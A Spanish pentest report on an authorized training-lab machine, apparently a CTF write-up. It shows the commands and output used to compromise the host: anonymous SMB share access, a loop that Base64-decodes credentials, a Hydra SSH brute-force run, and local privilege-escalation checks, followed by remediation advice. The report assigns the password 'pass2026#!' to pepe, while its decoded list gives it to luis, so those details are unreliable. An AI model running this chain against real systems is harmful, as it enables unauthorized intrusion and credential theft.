

Informe de Pentesting — CRITICAL-SYSTEM

Oct 4, 2026 · Analista: Josep Sanz Gallego

Resumen ejecutivo

Se realizó una prueba de intrusión (pentest) autorizada contra el sistema de laboratorio **CRITICAL-SYSTEM** (172.17.0.3), alojado en la plataforma de formación WhoAmi-Labs. El objetivo era evaluar la seguridad del equipo partiendo de un acceso nulo (sin credenciales previas) y, de ser posible, obtener control del sistema.

El resultado fue **comprometer con éxito el sistema**: se logró acceso remoto interactivo por SSH con un usuario válido y se capturó el objetivo (flag) de la prueba. El compromiso no requirió explotar ninguna vulnerabilidad compleja ni código malicioso, sino encadenar **errores de configuración básicos**. En concreto, un recurso compartido de red accesible sin autenticación exponía un fichero con las credenciales de todos los usuarios, protegidas únicamente con una codificación reversible (Base64), que no es cifrado.

Nivel de riesgo global: CRÍTICO. Cualquier persona con acceso a la red podía obtener las credenciales de todos los usuarios y acceder al sistema en cuestión de minutos, sin herramientas especializadas. La causa raíz es de configuración, no de software, por lo que la remediación es sencilla y de bajo coste (ver sección de recomendaciones).

Alcance, autorización y reglas de compromiso

Concepto	Detalle
Objetivo autorizado	Host CRITICAL-SYSTEM — IP 172.17.0.3
Entorno	Laboratorio de formación WhoAmi-Labs (aislado y controlado)
Autorización	Explícita: la plataforma autoriza el ataque sobre sus propias máquinas de práctica
Tipo de prueba	Caja negra (black box): sin credenciales ni información previa
Fecha	4 de octubre de 2026

Nota sobre ética y legalidad. Todo el trabajo descrito se realizó dentro de un entorno que autoriza expresamente el ataque. Las mismas técnicas aplicadas contra sistemas de terceros sin autorización por escrito constituirían un delito. La diferencia entre un

profesional y un delincuente no es el conocimiento técnico, sino la **autorización** y el respeto al **alcance**.

Metodología y herramientas

La evaluación siguió una metodología por fases alineada con el marco MITRE ATT&CK:

- 1. **Reconocimiento** — descubrimiento del host y los servicios expuestos.
- 2. **Enumeración** — extracción de información de los servicios (SMB, SSH).
- 3. **Acceso inicial** — obtención de credenciales válidas y sesión interactiva.
- 4. **Post-explotación** — enumeración local y análisis de escalada de privilegios.

Herramientas empleadas

Herramienta	Uso en esta prueba
Nmap	Descubrimiento de hosts, puertos y detección de versiones de servicio
smbclient	Enumeración y acceso a recursos compartidos SMB
enum4linux-ng	Enumeración automatizada de SMB/Samba (recursos, política de contraseñas)
base64 (coreutils)	Decodificación de las credenciales ofuscadas
Hydra	Validación de credenciales por fuerza bruta contra SSH
OpenSSH (cliente)	Acceso remoto interactivo al sistema comprometido

Resumen de hallazgos

ID	Hallazgo	Severidad	Estado
H-01	Recurso compartido SMB accesible sin autenticación (sesión nula y guest)	Alta	Confirmado
H-02	Credenciales de todos los usuarios expuestas en un fichero accesible	Crítica	Confirmado

ID	Hallazgo	Severidad	Estado
H-03	Credenciales "protegidas" solo con Base64 (codificación, no cifrado)	Crítica	Confirmado
H-04	Política de contraseñas débil: mínimo 5 caracteres, sin complejidad, sin bloqueo de cuentas	Alta	Confirmado
H-05	Firma SMB no obligatoria (SMB signing not required)	Media	Confirmado
H-06	Banner de SO falseado ("Windows 7") frente a un Linux real	Informativa	Confirmado

La combinación de H-01, H-02 y H-03 constituye la cadena de ataque principal y es suficiente, por sí sola, para comprometer el sistema.

Fase 1 — Reconocimiento y enumeración

Descubrimiento de servicios

Un escaneo completo de puertos con detección de versiones reveló tres servicios expuestos en 172.17.0.3: SSH (22) y SMB sobre NetBIOS (139 y 445). El fingerprinting identificó el sistema como **Linux (Ubuntu) con Samba**, pese a que el nombre NetBIOS del equipo es "CRITICAL-SYSTEM".

Comando: `nmap -sC -sS -sV -p- 172.17.0.3`

```
(kali㉿kali)-[~]
└─$ sudo nmap -sC -sS -sV -p- 172.17.0.3
[sudo] contraseña per a kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 16:04 +0200
Nmap scan report for 172.17.0.3
Host is up (0.0000020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5a:0b:2a:61:fa:ce:89:76:f2:e9:97:79:72:5e:51:6e (RSA)
|   256 c9:4e:5a:e9:46:54:d1:8b:d2:23:c7:3a:2f:84:af:d2 (ECDSA)
|_  256 c7:b5:1a:97:f4:be:34:c1:3e:fd:2f:aa:d1:79:94:a4 (ED25519)
139/tcp    open  netbios-ssn Samba smbd 4
445/tcp    open  netbios-ssn Samba smbd 4
MAC Address: 02:B1:C6:A1:91:50 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ nbstat: NetBIOS name: CRITICAL-SYSTEM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-security-mode:
|   3.1.1:
|_   Message signing enabled but not required
|_ smb2-time:
|   date: 2026-10-04T14:04:36
|_   start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.79 seconds
```

Análisis de vulnerabilidades por versión (y sus falsos positivos)

Un escaneo con el script `vulners` devolvió decenas de supuestos exploits de puntuación 10.0. **La mayoría son falsos positivos:** `vulners` correlaciona por banner de versión ("Samba 4") y lista todos los CVE que alguna vez afectaron a esa rama, sin comprobar si el build concreto está parcheado. Entre los resultados aparecían incluso CVE propios de Windows Active Directory (p. ej. ZeroLogon), que no aplican a este Samba sobre Linux. Se documenta como ejemplo de por qué la salida de las herramientas automáticas debe **verificarse manualmente**, no tomarse como conclusión.

```
|_ CVE-2026-35388 2.5 https://vulners.com/cve/CVE-2026-35388
139/tcp open netbios-ssn Samba smbd 4
| vulners:
|   cpe:/a:samba:samba:4:
|   SSV:93139 10.0 https://vulners.com/seebug/SSV:93139 *EXPLOIT*
|   SSV:89724 10.0 https://vulners.com/seebug/SSV:89724 *EXPLOIT*
|   SAMBA_IS_KNOWN_PIPENAME 10.0 https://vulners.com/canvas/SAMBA_IS_KNOWN_PIPENAME *EXPLOIT*
|   SAINT:C50A339FD5B2F96051BC00F96014CAA 10.0 https://vulners.com/saint/SAINT:C50A339FD5B2F96051BC00F96014CAA *EXPLOIT*
|   SAINT:6FE788CBA26F517C02B44A699047593B 10.0 https://vulners.com/saint/SAINT:6FE788CBA26F517C02B44A699047593B *EXPLOIT*
|   SAINT:3579A721D51A069C725493EA48A26E42 10.0 https://vulners.com/saint/SAINT:3579A721D51A069C725493EA48A26E42 *EXPLOIT*
|   PACKETSTORM:180975 10.0 https://vulners.com/packetstorm/PACKETSTORM:180975 *EXPLOIT*
|   PACKETSTORM:180777 10.0 https://vulners.com/packetstorm/PACKETSTORM:180777 *EXPLOIT*
|   MSF:EXPLOIT-LINUX-SAMBA-IS_KNOWN_PIPENAME- 10.0 https://vulners.com/metasploit/MSF:EXPLOIT-LINUX-SAMBA-IS_KNOWN_PIPENAME- *EXPLOIT*
|   MSF:AUXILIARY-SCANNER-SMB-SMB_UNINIT_CRED- 10.0 https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SMB-SMB_UNINIT_CRED- *EXPLOIT*
|   MSF:AUXILIARY-ADMIN-DCERPC-CVE_2020_1472_ZEROLOGON- 10.0 https://vulners.com/metasploit/MSF:AUXILIARY-ADMIN-DCERPC-CVE_2020_1472_ZEROLOGON-*EXPLOIT*
| EXPLOIT*
|   FCA9673D-5D36-5A58-BECE-F5E824E07643 10.0 https://vulners.com/githubexploit/FCA9673D-5D36-5A58-BECE-F5E824E07643 *EXPLOIT*
|   FC661572-B96B-5B2C-B12F-E8D279E189BF 10.0 https://vulners.com/githubexploit/FC661572-B96B-5B2C-B12F-E8D279E189BF *EXPLOIT*
|   F7B292B1-B25F-50B0-81FF-B05F62A069C1 10.0 https://vulners.com/githubexploit/F7B292B1-B25F-50B0-81FF-B05F62A069C1 *EXPLOIT*
|   F472C105-E3B1-524A-BBF5-1C436185F6EE 10.0 https://vulners.com/githubexploit/F472C105-E3B1-524A-BBF5-1C436185F6EE *EXPLOIT*
|   F382D9A5-C23A-5DED-AD53-95C063D218CB 10.0 https://vulners.com/githubexploit/F382D9A5-C23A-5DED-AD53-95C063D218CB *EXPLOIT*
|   F085F702-F1C3-5ACB-99BE-086DA182D98B 10.0 https://vulners.com/githubexploit/F085F702-F1C3-5ACB-99BE-086DA182D98B *EXPLOIT*
|   EXPLOITPACK:D127040CBAC5D8D24F717F40D86D1AF6 10.0 https://vulners.com/exploitpack/EXPLOITPACK:D127040CBAC5D8D24F717F40D86D1AF6 *EXPLOIT*
|   EXPLOITPACK:118DEE18B40708887778CCF837705185 10.0 https://vulners.com/exploitpack/EXPLOITPACK:118DEE18B40708887778CCF837705185 *EXPLOIT*
|   EFEE0080-E707-53A1-B6B7-4CC905A69448 10.0 https://vulners.com/githubexploit/EFEE0080-E707-53A1-B6B7-4CC905A69448 *EXPLOIT*
|   EDB-ID:49071 10.0 https://vulners.com/exploitdb/EDB-ID:49071 *EXPLOIT*
|   EDB-ID:42084 10.0 https://vulners.com/exploitdb/EDB-ID:42084 *EXPLOIT*
|   EDB-ID:42060 10.0 https://vulners.com/exploitdb/EDB-ID:42060 *EXPLOIT*
|   EDB-ID:36741 10.0 https://vulners.com/exploitdb/EDB-ID:36741 *EXPLOIT*
|   E9F25671-2BEF-5E8B-A60A-55C6DD9DE820 10.0 https://vulners.com/githubexploit/E9F25671-2BEF-5E8B-A60A-55C6DD9DE820 *EXPLOIT*
|   E6CF67B2-4A26-585A-8C8E-1EB816ACEA70 10.0 https://vulners.com/githubexploit/E6CF67B2-4A26-585A-8C8E-1EB816ACEA70 *EXPLOIT*
|   DEC5B8BB-1933-54FF-890E-9C2720E9966E 10.0 https://vulners.com/githubexploit/DEC5B8BB-1933-54FF-890E-9C2720E9966E *EXPLOIT*
|   D8075153-BED6-51C3-BDA8-F8208E849494 10.0 https://vulners.com/githubexploit/D8075153-BED6-51C3-BDA8-F8208E849494 *EXPLOIT*
|   D7AB3F4A-8E41-5E5B-B987-99AFB571FE9C 10.0 https://vulners.com/githubexploit/D7AB3F4A-8E41-5E5B-B987-99AFB571FE9C *EXPLOIT*
|   D3C401E0-D013-59E2-8FFB-6BEF41DA3D1B 10.0 https://vulners.com/githubexploit/D3C401E0-D013-59E2-8FFB-6BEF41DA3D1B *EXPLOIT*
|   D178DAA4-01D0-50D0-A741-1C3C76A7D023 10.0 https://vulners.com/githubexploit/D178DAA4-01D0-50D0-A741-1C3C76A7D023 *EXPLOIT*
|   CVE-2025-10230 10.0 https://vulners.com/cve/CVE-2025-10230
```

Enumeración de SMB

La enumeración confirmó que el servidor acepta **sesión nula** (usuario y contraseña vacíos) y que existe un recurso compartido llamado `public`, accesible sin credenciales.

Comando: `smbclient -L //172.17.0.3 -N`

```
(kali@kali)-[~]
$ smbclient -L //172.17.0.3 -N

      Sharename      Type      Comment
      -----
      public         Disk      Public Resources
      IPC$           IPC       IPC Service (CRITICAL-SYSTEM)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 172.17.0.3 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

Al navegar por el recurso `public` se localizaron tres carpetas (`upload`, `system`, `download`). Dentro de `system` había un fichero `db.txt`.

```
(kali@kali)-[~]
$ smbclient //172.17.0.3/public -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Fri Jan  9 23:33:27 2026
..               D          0  Fri Jan  9 23:33:27 2026
upload           D          0  Fri Jan  9 23:33:27 2026
system           D          0  Fri Jan  9 23:33:27 2026
download         D          0  Fri Jan  9 23:33:27 2026

      253538000 blocks of size 1024. 218303444 blocks available
smb: \> cd system\
smb: \system\> ls
.                D          0  Fri Jan  9 23:33:27 2026
..               D          0  Fri Jan  9 23:33:27 2026
db.txt           N          226  Fri Jan  9 23:33:27 2026

      253538000 blocks of size 1024. 218303444 blocks available
smb: \system\> more db.txt
getting file \system\db.txt of size 226 as /tmp/smbmore.qUX6tQ (73,6 KiloBytes/sec) (average 73,6 KiloBytes/sec)
smb: \system\>
```

La enumeración con `enum4linux-ng` confirmó además una política de contraseñas muy débil (longitud mínima de 5 caracteres, sin complejidad y **sin bloqueo de cuentas por intentos fallidos**), lo que habilita ataques de fuerza bruta sin riesgo de bloquear cuentas.

Fase 2 — Acceso inicial

Descubrimiento y decodificación de credenciales

El fichero `db.txt` contenía una lista de 10 usuarios con sus contraseñas en formato `usuario:valor`. Las contraseñas **no estaban cifradas**, sino codificadas en **Base64**, una representación reversible por cualquiera sin necesidad de clave. El indicador revelador es el carácter de relleno `=` al final de cada cadena.

La decodificación con `base64 -d` devolvió las contraseñas en texto claro. La mayoría seguían un patrón trivial (`password123`, `password234` ...), mientras que la del usuario **pepe** rompía el patrón: `pass2026#!`.

```

zsh: corrupt history file /home/kali/.zsh_history
(kali㉿kali)-[~]
$ nano creds.txt

(kali㉿kali)-[~]
$ while IFS=: read user enc; do
  echo "$user:$(echo "$enc" | base64 -d)"
done < creds.txt
admin:password123
john:password234
maria:password345
carlos:password456
rosa:password567
pepe:password678
luis:pass2026#!
david:password789
ana:password890
sandra:password900

(kali㉿kali)-[~]
$

```

Validación de credenciales

Se validaron las credenciales contra el servicio SSH con Hydra. La ausencia de bloqueo de cuentas (ver H-04) permitió probar todas las combinaciones sin restricciones. La herramienta confirmó una credencial válida para el usuario **pepe**.

Comando: `hydra -L users.txt -P passwd.txt -t 4 ssh://172.17.0.3`

```

(kali㉿kali)-[~]
$ nano passwd.txt

(kali㉿kali)-[~]
$ nano users.txt

(kali㉿kali)-[~]
$ hydra -L users.txt -P passwd.txt ssh://172.17.0.3
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-04 16:39:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3 login: pepe password: pass2026#!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-04 16:40:02

(kali㉿kali)-[~]
$

```

Acceso y captura del objetivo

Con la credencial validada se estableció una sesión interactiva por SSH como el usuario **pepe**, obteniendo una shell en el sistema. A continuación se localizó y leyó el fichero objetivo, capturando la flag `CTF{FILE_PERMISSION_ESCALATION}`.

```

kali@kali: /media/sf_CIBERSEGURID/
Sessió Accions Edita Vista Ajuda

WHOAMI-LABS.COM

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde critical_system.tar ...
[*] Iniciando laboratorio ...

[v] Laboratorio desplegado correctamente.

LAB: CRITICAL-SYSTEM
DIFICULTAD: ..... Fácil (1 punto)

IP del laboratorio: 172.17.0.3

Ingresa la ROOT flag (formato CTF{...}): CTF{FILE_PERMISSION_ESCALATION}
¡Felicitaciones hacker! Has conseguido la flag.

FECHA Y HORA: 2026-10-04 16:42:55 +0200

¿Quieres eliminar la máquina? (s/n):

pepe@critical_system:~$ ls
pepe@critical_system:~$ find / -name flag.txt 2>/dev/null
/tmp/flag.txt
pepe@critical_system:~$ cat /tmp/flag.txt
CTF{FILE_PERMISSION_ESCALATION}
pepe@critical_system:~$

```

Fase 3 — Post-explotación y escalada de privilegios

Tras obtener acceso como el usuario sin privilegios `pepe`, se realizó una enumeración local orientada a elevar privilegios a `root`. Se descartaron de forma sistemática los vectores clásicos:

- **sudo** — el usuario `pepe` no tiene permisos de `sudo` (`sudo -l` sin entradas).
- **Binarios SUID** — el inventario (`find / -perm -4000`) solo mostró binarios estándar del sistema; ninguno abusable.
- **Binarios SGID** — igualmente, todos estándar.
- **Ficheros críticos** — `/etc/passwd`, `/etc/shadow` y `/etc/sudoers` tienen permisos correctos (no escribibles por el usuario).
- **Tareas programadas (cron)** — los scripts de cron son propiedad de root y no editables; el cron de Samba solo realiza una copia de seguridad inocua.
- **smb.conf** — el fichero de configuración de Samba no es escribible por el usuario.

Estado: la escalada a `root` quedó **en investigación** al cierre de esta fase. El nombre del objetivo (`FILE_PERMISSION_ESCALATION`) y el contexto apuntan a una configuración de permisos de fichero aún por localizar. Los siguientes vectores a revisar son: capacidades de Linux (`getcap -r /`), ficheros world-writable fuera de rutas temporales, y lectura de credenciales de otros usuarios (claves SSH, copias en `/var/backups`) para un posible movimiento lateral local.

Nota de honestidad en el informe: el objetivo (flag) se capturó porque el fichero era legible por el usuario `pepe`; esto no equivale a haber obtenido privilegios de `root` en el sistema, distinción que un informe profesional debe dejar clara.

Recomendaciones de remediación

Hallazgo	Remediación recomendada
H-01 Sesión nula / guest	Deshabilitar el acceso anónimo en Samba (<code>map to guest = never</code> , <code>restrict anonymous = 2</code>). Requerir autenticación en todos los recursos.
H-02 Credenciales expuestas	Retirar de inmediato cualquier fichero de credenciales de los recursos compartidos. Nunca almacenar credenciales en ubicaciones accesibles.
H-03 Base64 como protección	No usar Base64 como medida de seguridad: no es cifrado. Gestionar los secretos con un gestor dedicado (vault) y almacenarlos como hash robusto cuando aplique.
H-04 Política de contraseñas	Exigir longitud mínima ≥ 12 , complejidad y, sobre todo, bloqueo de cuenta tras varios intentos fallidos para frenar la fuerza bruta.
H-05 Firma SMB	Habilitar la firma SMB obligatoria (<code>server signing = mandatory</code>) para mitigar ataques de retransmisión (relay).
H-06 Banner falseado	Un banner engañoso no aporta seguridad real (seguridad por oscuridad); rotar además todas las credenciales ya expuestas.

Prioridad. H-02 y H-03 son críticas y deben corregirse de inmediato: eliminan por sí solas la vía de compromiso principal. H-01 y H-04 son el siguiente escalón de prioridad.

Conclusión y lecciones aprendidas

El sistema CRITICAL-SYSTEM fue comprometido en pocos minutos sin explotar ninguna vulnerabilidad de software, únicamente encadenando errores de configuración: un recurso compartido anónimo que exponía credenciales ofuscadas de forma reversible. Esto ilustra una realidad del sector: **las brechas rara vez vienen de exploits sofisticados; casi siempre vienen de configuraciones básicas mal hechas.**

Lecciones técnicas destacables:

- **Las herramientas dan pistas, no conclusiones.** El escáner de vulnerabilidades señaló decenas de "exploits 10.0" irrelevantes, mientras que la vía real de compromiso fue un simple fichero de texto. El criterio del analista para separar señal de ruido es

insustituible.

- **Codificar no es cifrar.** Base64 protege tanto como no hacer nada.
- **Los señuelos son ruido.** El nombre "CRITICAL-SYSTEM" y el banner falso de "Windows 7" buscaban despistar; la fuente que mide comportamiento real (el fingerprinting de Nmap) reveló la verdad.
- **Documentar es parte del trabajo.** Este informe es la fase que convierte una serie de comandos en un resultado profesional y accionable.